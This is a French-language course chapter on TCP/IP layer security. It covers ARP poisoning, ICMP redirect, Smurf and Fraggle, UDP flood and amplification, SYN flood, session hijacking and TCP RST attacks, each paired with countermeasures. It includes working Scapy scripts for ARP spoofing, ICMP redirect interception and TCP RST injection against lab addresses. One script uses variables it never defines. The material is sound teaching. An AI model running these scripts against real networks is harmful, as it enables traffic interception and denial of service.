Sécurité des couches TCP/IP
Objectifs
L’objectif de ce chapitre est d’acquérir une expérience sur les vulnérabilités réseau connues, les attaques contre ces vulnérabilités et les contre-mesures face à ces vulnérabilités. Dans la vie de tous les jours, on dit souvent qu’on apprend de nos erreurs. En sécurité informatique, cette règle prend tout son sens : l’étude des erreurs logicielles n’aide pas seulement à comprendre comment les systèmes sont vulnérables, pourquoi une erreur apparemment bénigne peut se transformer en catastrophe ou pourquoi de nombreux mécanismes de sécurité sont nécessaires. Plus important encore, cela aide également à comprendre les schémas de vulnérabilités et à éviter de commettre des erreurs similaires à l’avenir. En utilisant les vulnérabilités comme études de cas, il est possible d’apprendre la conception sécurisée de réseaux, qui sera le sujet des prochains chapitres de ce module.
Dans ce chapitre, nous allons étudier les attaques les plus connues sur les protocoles des couches du modèle OSI ou TCP/IP, ainsi que les contre-mesures possibles.
Couche liaison de données
Protocoles
Ethernet
L’adresse MAC constitue la partie inférieure de la couche liaison (couche 2 du modèle OSI). Elle insère et administre ce type d’adresses au sein des trames transmises.
La trame Ethernet est le PDU de couche 2. Elle contient notamment (mais pas seulement) les adresses MAC source et destination.
ARP
Lorsqu’un ordinateur rejoint un réseau local (LAN), une adresse IP lui est attribuée. Il peut s’agir d’une adresse IP statique qui ne change pas ou d’une adresse dynamique attribuée par un serveur DHCP. Lorsqu’un paquet destiné à cet ordinateur passe par une passerelle de réseau, celle-ci doit déterminer où l’envoyer, ce qui nécessite l’adresse MAC. Une passerelle réseau conserve une table de consultation - appelée cache ARP - qui répertorie toutes les correspondances connues entre les adresses IP et MAC.
Si la correspondance souhaitée existe dans le cache ARP, la passerelle peut envoyer le paquet à sa destination. Cependant, une adresse IP peut ne pas exister dans le cache si elle est nouvelle ou si elle a été purgée (les correspondances d’adresses ne sont généralement mises en cache que pendant quelques minutes). Dans ce cas, la passerelle doit déterminer quelle adresse MAC correspond à cette adresse IP.
C’est là que l’ARP entre en jeu. Une passerelle envoie une requête ARP à tous les ordinateurs du réseau local pour leur demander lequel d’entre eux utilise cette adresse IP. L’ordinateur possédant cette adresse IP renverra une réponse ARP contenant son adresse MAC. Lorsque la passerelle reçoit cette réponse ARP, elle peut envoyer le paquet à sa destination. Il enregistre également la correspondance entre l’adresse IP et l’adresse MAC dans son cache ARP afin de pouvoir acheminer correctement les paquets à l’avenir.
À quoi sert l’ARP ?
ARP établit une correspondance entre les adresses MAC de la couche 2 et les adresses IP de la couche 3. Cette fonction est essentielle pour l’acheminement du trafic sur le réseau. Sans ARP, les correspondances d’adresses IP/MAC devraient être créées et mises à jour manuellement, ce qui réduirait considérablement la convivialité du réseau.
Types d’ARP
Le protocole ARP principal découvre l’adresse MAC associée à une adresse IP en fonction des besoins. Voici quelques autres variantes du protocole :
- ARP gratuit (gratuitous) : Généralement, une correspondance d’adresse IP/MAC n’est envoyée qu’en réponse à une demande de la passerelle. Avec l’ARP gratuit, un appareil annonce sa correspondance d’adresse IP/MAC sans qu’on le lui demande.
- ARP inversé (RARP) : l’ARP est utilisé pour déterminer l’adresse MAC associée à une adresse IP. RARP est utilisé par les appareils qui ne connaissent pas leur adresse IP pour la découvrir.
- ARP inverse (IARP) : alors que RARP est utilisé par un appareil pour trouver sa propre adresse IP sur la base d’une adresse MAC, IARP peut être utilisé par un autre appareil pour connaître l’adresse IP d’un appareil à partir de son adresse MAC.
Attaques et contre-mesures
Empoisonnement du cache ARP (ARP Cache Poisoning)
L’ARP est un protocole réseau qui repose sur la confiance. Lorsqu’une passerelle envoie une requête ARP, elle accepte la première réponse qu’elle reçoit. Le trafic à destination de cette adresse IP est ensuite acheminé vers l’adresse MAC indiquée.
Une attaque ARP spoofing ou ARP poisoning abuse de cette confiance. Dans cette attaque, l’attaquant envoie une réponse ARP ou un message ARP gratuit qui associe sa propre adresse MAC à l’adresse IP d’une cible. Les données destinées à la victime sont alors acheminées vers l’attaquant, ce qui peut être utilisé dans le cadre d’une attaque de type “man-in-the-middle” (MitM) pour voler des données sensibles ou d’une attaque par déni de service (DoS) si l’attaquant se contente de laisser tomber les paquets reçus.
Exemples avec Scapy
Avec une requête ARP (on envoie une requête ARP ce qui empoisonne le cache ARP du destinatire).
from scapy.all import *
VM_A_IP = "10.9.0.5"
VM_A_MAC = "02:42:0a:09:00:05"
VM_B_IP = "10.9.0.99"
FAKE_MAC = "ab:00:cd:dd:12:ff"
print("ENVOIE DE REQUÊTE ARP USURPÉE...")
ethernet = Ether()
ethernet.dst = VM_A_MAC
ethernet.src = FAKE_MAC
arp = ARP()
arp.psrc = VM_B_IP
arp.hwsrc = FAKE_MAC
arp.pdst = VM_A_IP
arp.op = 1 # REQUEST
frame = ethernet/arp
sendp(frame, iface="")
Sur la machine A d’adresse IP 10.9.0.5 :
Avec un ARP gratuit :
from scapy.all import *
IP_VICTIME = "10.9.0.99"
FAKE_MAC = "08:00:27:b7:ba:af"
MAC_BC = "ff:ff:ff:ff:ff:ff"
print("ENVOIE DE REQUÊTE ARP GRATUIT USURPÉE...")
ether = Ether()
ether.dst = MAC_BC
ether.src = FAKE_MAC
arp = ARP()
arp.hwsrc = FAKE_MAC
arp.psrc = IP_VICTIME
arp.pdst = IP_VICTIME
arp.hwdst = MAC_BC
arp.op = 1 # REQUEST
frame = ether/arp
frame.show()
sendp(frame, iface="")
Avec une réponse ARP :
from scapy.all import *
VM_A_IP = "10.9.0.5"
VM_A_MAC = "08:00:27:b7:ba:af"
FAKE_MAC = "aa:bb:cc:dd:ee:ff"
print("ENVOIE D'UNE RÉPONSE ARP USURPÉE...")
ether = Ether()
ether.dst = MAC_BC
ether.src = FAKE_MAC
arp = ARP()
arp.psrc = IP_VICTIME
arp.hwsrc = FAKE_MAC
arp.pdst = VM_A_IP
arp.hwdst = VM_A_MAC
arp.op = 2 # RESPONSE
frame = ether/arp
frame.show()
sendp(frame, iface="")
Pour les ARP gratuites et les réponses ARP, il faut qu’une entrée soit déjà présente pour l’adresse IP dans la table ARP pour que cela puisse fonctionner.
Contre-mesures
- Utiliser des outils de détection d’intrusions: Détecter les faux messages ARP et maintenir la cohérence de la table ARP.
- arpwatch (disponible sur de nombreuses plates-formes UNIX) maintient une base de données des adresses MAC Ethernet observées sur le réseau, avec leurs paires d’adresses IP associées. Il alerte l’administrateur du système par courrier électronique en cas de changement.
- Utiliser une authentification forte plutôt que seulement l’adresse IP source
- Les protocoles VPN tels que SSH, SSL ou IPSec peuvent améliorer considérablement la sécurité en assurant l’authentification, l’intégrité et la confidentialité. Nous étudierons cela dans le prochain chapitre.
Couche Internet (IP et ICMP)
Protocoles
- IP : Voir la partie du cours 420-312-MV - Conception de réseau informatique sur IP
- ICMP : ICMP est utilisé pour gérer les erreurs et échanger des messages de contrôle. Il est très souvent utilisé pour déterminer si une machine répond (ping). Il n’y a pas d’authentification dans ICMP, ce qui rend le protocole conduit à des attaques qui peuvent résulter en un DoS, ou permettre à l’attaquant d’intercepter des paquets.
Attaques et contre-mesures
Usurpation d’adresses IP (IP Spoofing)
Voir le chapitre précédent
Inondation ICMP (Ping flood)
La commande ping est normalement utilisée par les administrateurs réseau pour tester la connectivité entre deux hôtes d’un réseau.
Dans le contexte d’une attaque par inondation de ping (ping flood), elle est utilisée pour envoyer de grandes quantités de paquets de données à la victime de manière répétée afin de la surcharger.
Ce type d’attaque est généralement inutile sur les grands réseaux ou sites web, mais il peut constituer une menace s’il se transforme en attaque DDoS.
Redirection ICMP (ICMP Redirect)
La redirection ICMP est utilisée pour rediriger les hôtes sources vers une passerelle différente qui est généralement plus proche de l’hôte de destination.
- Lorsque l’hôte source reçoit un message de redirection ICMP, il doit adapter ses tables de routage (plus précisément son cache de routage) en conséquence et envoyer les prochains paquets par la nouvelle route.
- En général, les hôtes ne doivent pas envoyer de redirections ICMP et seules les passerelles sont autorisées à le faire.
- L’attaquant envoie simplement des paquets de redirection ICMP à la victime, pour imiter une nouvelle passerelle supposée plus optimale.
- La victime réachemine le trafic vers l’attaquant, ce qui permet à ce dernier de renifler ses communications.
- L’attaquant peut même usurper les adresses IP et MAC de la source pour faire croire que le trafic provient de la véritable passerelle.
Exemple avec Scapy
from scapy.all import *
def spoof_pkt_from_A(pkt):
if pkt[IP].src == '10.0.2.8' and pkt[IP].dst == '140.82.113.3':
pkt[Ether].dst="52:54:00:12:35:00"
send(pkt)
def spoof_ICMP_redirect():
IP1 = IP(src='10.0.2.1', dst='10.0.2.8') # 10.0.2.1 IP du vrai routeur (spoofing), 10.0.2.8 IP de la victime
ICMP1 =ICMP(type=5,code=0,gw='10.0.2.7') # type 5 => ICMP redirect, 10.0.2.7 IP de l'attaquant
IP2 = IP(src='10.0.2.8', dst='140.82.113.3') # 140.82.113.3 IP da la machine pinguée
pkt = IP1/ICMP1/IP2/UDP()
send(pkt)
spoof_ICMP_redirect()
pkt = sniff(filter='tcp',prn=spoof_pkt_from_A)
Contre-mesures
- Désactiver «
net.ipv4.conf.all.accept_redirects
» dans le fichier/etc/sysctl.conf
.
Attaque Smurf ICMP
- L’attaque Smurf est un type de déni de service dans lequel l’attaquant usurpe des demandes d’écho ICMP (echo request) à une adresse de diffusion du réseau.
- Tous les hôtes qui reçoivent les demandes d’écho répondront à l’adresse source usurpée (une victime).
Contre-mesures
- Mettre en place des filtres sur les routeurs et les pare-feu pour contrer l’usurpation d’adresse. Nous verrons cela plus en détails dans les prochains chapitres.
- Désactiver les paquets de diffusion IP dirigés (directed IP Broadcast) au niveau du pare-feu. (Éliminer toutes les demandes de ping vers une adresse de diffusion.)
- Filtrer les paquets provenant de tout nœud envoyant une requête de diffusion ping au-delà d’un certain seuil dans une fenêtre de temps donnée
Couche Transport (TCP/UDP)
Protocoles
- TCP : Voir la partie du cours 420-312-MV - Conception de réseau informatique sur le protocole TCP
- UDP : Voir la partie du cours 420-312-MV - Conception de réseau informatique sur le protocole UDP
Attaques et contre-mesure
UDP - Fraggle
L’attaque Fraggle est similaire à l’attaque Smurf ICMP. Il s’agit d’un type d’attaque DoS par amplification. Cette attaque consiste à utiliser des paquets UDP echo
au lieu de paquets ICMP echo
. Le port 7 d’un serveur UDP se contente de faire écho à tout ce qui lui est envoyé.
Les attaques Fraggle, comme les attaques Smurf, commencent à être dépassées et sont généralement arrêtées par la plupart des pare-feu et routeurs.
Contre-mesure
- Désactiver ou bloquer les ports UDP inutiles
UDP - Attaque par inondation UDP (UDP Flood)
- L’attaque par inondation UDP tire parti des ports
chargen
etecho
, qui sont utilisés légitimement pour tester les hôtes et les réseaux. - L’attaquant envoie un paquet UDP mal formé au port
chargen
(19) de l’hôte A, avec l’adresse source de l’hôte B et le port sourceecho
(7). - L’hôte A envoie une chaîne de caractères aléatoire au port echo de l’hôte B. L’hôte B la renvoie au port
chargen
de l’hôte A. - Cette séquence se déroule à l’infini entre A et B. Elle consomme la bande passante et la puissance de traitement des cibles.
Exemple avec Scapy
Cet exemple simule le principe d’une attaque UDP ping-pong
Code des serveurs
import socket
IP = "0.0.0.0"
PORT = 9090
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind((IP, PORT))
while True:
data, (ip, port) = sock.recvfrom(1024)
print(f"Destinataire: {ip}:{port}")
print(f"Message reçu: ", format(data))
# Envoie d'une note de remerciement
sock.sendto(b'Merci!', (ip, port))
Code de l’attaquant
from scapy.all import *
print("Déclenchement d'un Ping-Pong UDP")
ip = IP(src="10.0.2.6", dst="10.0.2.7")
udp = UDP(sport=9090, dport=9090)
data = "Que la partie de Ping-Pong commence !"
packet = ip/udp/data
send(packet, verbose=0, iface="")
UDP - Attaque par amplification
Ce type d’attaque peut causer des dégâts considérables avec peu d’actions et de ressources. Et malheureusement, les auteurs ont le choix entre différentes options pour amplifier le trafic : ICMP (Internet control message protocol), UDP (user datagram protocol) ou TCP (transmission control protocol).
Pour cela, les attaques cherchent des réflecteurs. Ce sont des serveurs sur internet qui font tourner un service aux clients (DNS, NTP, SNMP, IoT, jeux, etc.). Un exemple de réflecteur peut être un serveur DNS.
Comment ça marche? Des attaquants lancent une attaque DDoS en inondant un réflecteur de requêtes qui semblent être une demande de service légitime.
Cependant, le trafic réseau contient une adresse IP source usurpée d’une victime, par exemple un serveur web. L’usurpation d’adresse IP est effectuée pour deux raisons.
- Elle permet de dissimuler l’identité de l’attaquant.
- La réponse à une requête envoyée par un réflecteur à la victime est beaucoup plus importante que la requête originale.
TCP - Attaque par inondation SYN (SYN Flood Attack)
L’attaquant envoie de nombreux paquets SYN (avec des adresses IP usurpées) pour créer plusieurs connexions sans jamais envoyer d’ACK pour terminer la connexion. La victime doit conserver l’état de la connexion semi-ouverte dans sa file d’attente pendant un certain temps (par exemple 75 secondes). Si ces paquets malveillants sont très nombreux, la victime se retrouve rapidement à court de mémoire. Lorsque la cible reçoit plus de paquets SYN qu’elle ne peut en traiter, les autres trafics légitimes ne peuvent pas l’atteindre.
Contre-mesures
- Augmenter la file d’attente du ‘backlog’ : Chaque système d’exploitation sur un appareil ciblé dispose d’un certain nombre de connexions semi-ouvertes qu’il autorise. Il est possible de répondre aux volumes élevés de paquets SYN en augmentant le nombre maximal de connexions semi-ouvertes possibles que le système d’exploitation autorisera. Afin d’augmenter avec succès le backlog maximal, le système doit réserver des ressources de mémoire supplémentaires pour traiter toutes les nouvelles requêtes. Si le système ne dispose pas de suffisamment de mémoire pour pouvoir gérer l’augmentation de taille de la file d’attente de backlog, les performances du système seront affectées négativement, mais cela peut être un pis-aller par rapport au déni de service.
- Recycler la connexion TCP semi-ouverte la plus ancienne : Une autre stratégie d’atténuation consiste à écraser la connexion semi-ouverte la plus ancienne une fois le backlog rempli. Cette stratégie nécessite que les connexions légitimes puissent être entièrement établies en moins de temps qu’il ne faut pour que le backlog soit rempli de paquets SYN malveillants. Cette défense particulière échoue lorsque le volume d’attaque est augmenté ou si la taille du backlog est trop petite pour être pratique.
- Cookies SYN : Cette stratégie implique la création d’un cookie par le serveur. Afin d’éviter le risque de perdre des connexions lorsque le backlog est rempli, le serveur répond à chaque demande de connexion avec un paquet SYN-ACK, mais supprime ensuite la demande SYN du backlog, en retirant la demande de la mémoire et en laissant le port ouvert, prêt à établir une nouvelle connexion. Si la connexion est une requête légitime et qu’un paquet ACK final est renvoyé de la machine cliente au serveur, le serveur reconstruira alors (avec certaines limitations) l’entrée de la file d’attente du backlog SYN. Bien que cet effort d’atténuation perde des informations sur la connexion TCP, elle est préférable au déni de service qui affecterait les utilisateurs légitimes à la suite d’une attaque.
TCP - Détournement de session (TCP Hijacking)
On parle de détournement de session TCP (détournement de connexion) lorsqu’un pirate informatique prend le contrôle d’une connexion TCP entre deux hôtes. Puisque la plupart des authentifications n’ont lieu qu’au début d’une connexion TCP, cela permet au pirate d’accéder à une machine.
3 étapes :
- Suivi de la session (tracking) : L’attaquant identifie une session ouverte et prédit le numéro de séquence du prochain paquet.
- Désynchronisation de la connexion : L’attaquant envoie au système de l’utilisateur valide un paquet TCP de réinitialisation (RST) ou de fin (FIN) pour l’amener à fermer sa session.
- Injection du paquet de l’attaquant : L’attaquant envoie au serveur un paquet TCP avec le numéro de séquence prédit, et le serveur l’accepte comme le prochain paquet de l’utilisateur valide.
TCP - Attaque par réinitialisation de la connexion (TCP RST Attack)
Une attaque par réinitialisation TCP est un type d’attaque DoS qui vise à mettre fin à une connexion TCP établie entre deux parties à l’aide de faux paquets de réinitialisation TCP (TCP RST). Les attaques de réinitialisation TCP peuvent perturber les services en ligne, submerger les serveurs ou même détourner les sessions des utilisateurs pour permettre aux attaquants d’obtenir un accès non autorisé au système. Le pirate envoie de faux paquets de réinitialisation TCP (messages de contrôle qui permettent à une partie de mettre fin unilatéralement à une connexion TCP, généralement lorsqu’une erreur se produit ou que la connexion doit être fermée de force) à l’une des parties ou aux deux. Le faux paquet de réinitialisation semble provenir d’une source légitime, ce qui incite le destinataire à mettre fin à la connexion.
Exemple avec Scapy
from scapy.all import *
def spoof(packet):
old_tcp = packet[TCP]
ip = IP(src="10.9.0.6", dst="10.9.0.5")
tcp = TCP(sport=23, dport=old_tcp.sport, flags="R",seq=old_tcp.ack)
packet= ip/tcp
# ls(packet)
send(packet, verbose=0, iface="br-7ae89a3cd98c")
filt = "tcp and src host 10.9.0.5 and dst host 10.9.0.6 and dst port 23"
sniff(filter=filt, prn=spoof, iface="br-7ae89a3cd98c")
- Les hôtes 10.9.0.5 (client) et 10.9.0.6 (serveur) sont en communication Telnet (port 23)
flags = "R"
signifie que le bit de contrôle est à RSTseq=old_tcp.ack
pour récupérer le numéro de séquence du précédent paquet et le mettre dans le ACK du nouveau
Contre-mesures
- Utiliser des pare-feu et des systèmes de détection d’intrusion pour identifier et filtrer le trafic réseau suspect, y compris les faux paquets de réinitialisation.
- Surveiller le trafic réseau pour détecter des schémas inhabituels, tels qu’une augmentation soudaine des paquets de réinitialisation ou des terminaisons inattendues de connexions établies.
- Mettre en œuvre des protocoles de communication sécurisés (tels que Transport Layer Security) pour crypter les connexions TCP, ce qui rend leur altération plus difficile pour les attaquants.